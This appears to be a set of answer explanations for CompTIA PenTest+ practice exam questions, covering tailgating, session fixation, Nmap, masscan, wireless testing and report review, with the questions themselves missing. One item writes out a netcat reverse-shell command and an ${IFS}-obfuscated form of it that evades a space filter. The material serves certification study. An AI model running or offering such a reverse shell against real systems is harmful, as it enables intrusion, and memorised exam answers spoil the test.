Tailgating is the term used to describe a situation where a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee.

Tailgating:

Definition: Tailgating occurs when an unauthorized person follows an authorized person into a restricted area without the latter’s consent or knowledge. The authorized person typically opens a door or checkpoint, and the unauthorized person slips in behind them.

Example: An attacker waits near the entrance of a building and enters right after an employee, bypassing security measures.

Physical Security:

Importance: Physical security is a crucial aspect of overall security posture. Tailgating exploits human factors and weaknesses in physical security controls.

Prevention: Security measures such as turnstiles, mantraps, and security personnel can help prevent tailgating.

Pentest References:

Physical Penetration Testing: Tailgating is a common technique used in physical penetration tests to assess the effectiveness of an organization’s physical security controls.

Social Engineering: Tailgating often involves social engineering, where the attacker relies on the politeness or unawareness of the employee to gain unauthorized access.

By understanding and using tailgating, penetration testers can evaluate the effectiveness of an organization’s physical security measures and identify potential vulnerabilities that could be exploited by malicious actors.

======

This is a session fixation vulnerability because the application is reusing the same session identifier before and after authentication instead of issuing a new one upon successful login. In secure session management, the server should regenerate the session token after a user authenticates so that any pre-authenticated session identifier cannot be abused. If an attacker can force or predict a victim’s session ID before login, and the application keeps that same ID after authentication, the attacker may be able to hijack the authenticated session. That is the essence of session fixation. This is not JWT manipulation because there is no indication of token tampering, not cookie poisoning because the issue is not altered cookie content, and not a collision attack because no hash collision scenario is described. The flaw is improper session regeneration after authentication.

By default, Nmap scans the top 1,000 most commonly used TCP ports unless otherwise specified.

Option A (256) ❌: Incorrect. This refers to the number of hosts in a /24 subnet, not the number of ports scanned.

Option B (1,000) ✅: Correct. Nmap defaults to scanning the 1,000 most common TCP ports unless the -p flag is used to specify a different range.

Option C (1,024) ❌: Incorrect. The first 1,024 ports are well-known ports, but Nmap scans 1,000 by default, not 1,024.

Option D (65,535) ❌: Incorrect. Nmap only scans all ports if the -p- flag is used (e.g., nmap -p- < target > ).

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – Network Scanning with Nmap

An HTTP 403 Forbidden response indicates the server understood the request but is refusing to authorize it. In PenTest+ web assessment context, a common cause is an access control requirement at the web server or reverse proxy layer—such as mutual TLS (mTLS) / client certificate authentication, IP allowlisting, or other authorization gates—preventing the tester from reaching the application content. When a site is configured to require a client certificate, the server may return a 403-class error if the request does not include a trusted certificate chain, because the client cannot be authenticated to an approved identity. Therefore, obtaining and presenting a valid X.509 client certificate (issued by a trusted CA for that environment or provided by the client as part of the engagement) is the appropriate step to satisfy the access requirement and proceed with testing.

Resetting server file permissions is an administrative remediation action outside a tester’s role and scope. Spoofing a server MAC address is not meaningful for HTTP access and typically not possible across routed networks. Using a legacy browser addresses client-side compatibility, not server-side authorization decisions that produce 403.

The vulnerability report identifies a TLS vulnerability on port 443 (HTTPS). However, the Nmap scan shows port 443 as closed, meaning the service is not running or reachable.

If the service associated with the vulnerability is not active, the reported issue cannot be valid. Therefore, the scan result contradicts the finding — making it a false positive (the scanner incorrectly flagged a vulnerability that doesn’t exist).

Why not the others:

A. True negative: Would mean no vulnerability exists and none was reported.

B. True positive: Would mean both the scan and vulnerability report agree that the service is running and vulnerable — not the case here.

C. False negative: Would mean a vulnerability exists but was not detected — also not the case.

CompTIA PT0-003 Mapping:

Domain 2.0: Information Gathering and Vulnerability Scanning

Interpret scan results and distinguish between true/false positives and negatives.

When needing to scan a large network for open ports quickly, the choice of tool is critical. Here’s why option B is correct:

masscan: This tool is designed for high-speed port scanning and can scan entire networks much faster than traditional tools like Nmap. It can handle large ranges of IP addresses and ports with high efficiency.

Nmap: While powerful and versatile, Nmap is generally slower than masscan for scanning very large networks, especially when speed is crucial.

Burp Suite: This tool is primarily for web application security testing and not optimized for network-wide port scanning.

hping: This is a network tool used for packet crafting and network testing, but it is not designed for high-speed network port scanning.

References from Pentest:

Luke HTB: Highlights the use of efficient tools for large-scale network scanning to identify open ports quickly​​.

Anubis HTB: Demonstrates scenarios where high-speed scanning tools like masscan are essential for large network assessments​​.

======

To assess wireless communication disruptions, channel scanning is used to identify active Wi-Fi channels, allowing testers to target specific frequencies for jamming or deauthentication attacks.

Option A (Port mirroring) ❌: Used for network traffic monitoring, not wireless disruption.

Option B (Sidecar scanning) ❌: Not a commonly used technique in wireless testing.

Option C (ARP poisoning) ❌: Used to manipulate ARP tables on wired networks, not for wireless interference.

Option D (Channel scanning) ✅: Correct.

Identifies which Wi-Fi channels are in use.

Helps perform jamming, deauthentication, or interference attacks.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – Wireless Attacks and Security Testing

If a wireless network lacks proper encryption, attackers can inject malicious packets into the traffic stream.

Packet injection (Option A):

Attackers forge and transmit fake packets to manipulate network behavior.

Common in WEP/WPA attacks to force IV collisions or spoof DHCP responses.

To bypass a command injection blocklist that filters out the space character, the tester can use ${IFS}. ${IFS} stands for Internal Field Separator in Unix-like systems, which by default is set to space, tab, and newline characters.

Command Injection:

Command injection vulnerabilities allow attackers to execute arbitrary commands on the host operating system via a vulnerable application.

Filters or blocklists are often implemented to prevent exploitation by disallowing certain characters like spaces.

Bypassing Filters:

${IFS}: Using ${IFS} instead of a space can bypass filters that block spaces. ${IFS} expands to a space character in shell commands.

Example: The command nc -e /bin/sh 10.10.10.16 4444 can be rewritten as nc${IFS}-e${IFS}/bin/sh${IFS}10.10.10.16${IFS}4444.

Alternative Encodings:

%0a: Represents a newline character in URL encoding.

+: Sometimes used in place of space in URLs.

%20: URL encoding for space.

However, ${IFS} is most appropriate for shell command contexts.

Pentest References:

Command Injection: Understanding how command injection works and common techniques to exploit it.

Bypassing Filters: Using creative methods like environment variable expansion to bypass input filters and execute commands.

Shell Scripting: Knowledge of shell scripting and environment variables is crucial for effective exploitation.

By using ${IFS}, the tester can bypass the filtered space character and execute the intended command, demonstrating the vulnerability ' s exploitability.

======

A peer review ensures the accuracy, completeness, and objectivity of a penetration test report.

Option A (Risk analysis) ❌: Helps prioritize vulnerabilities but does not validate report accuracy.

Option B (Peer review) ✅: Correct.

Ensures report accuracy and consistency.

Identifies misinterpretations or missing details.

Option C (Root cause analysis) ❌: Helps in remediation but does not verify report quality.

Option D (Client acceptance) ❌: A client review is final verification, but peer review happens earlier to ensure accuracy.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – Reporting & Quality Assurance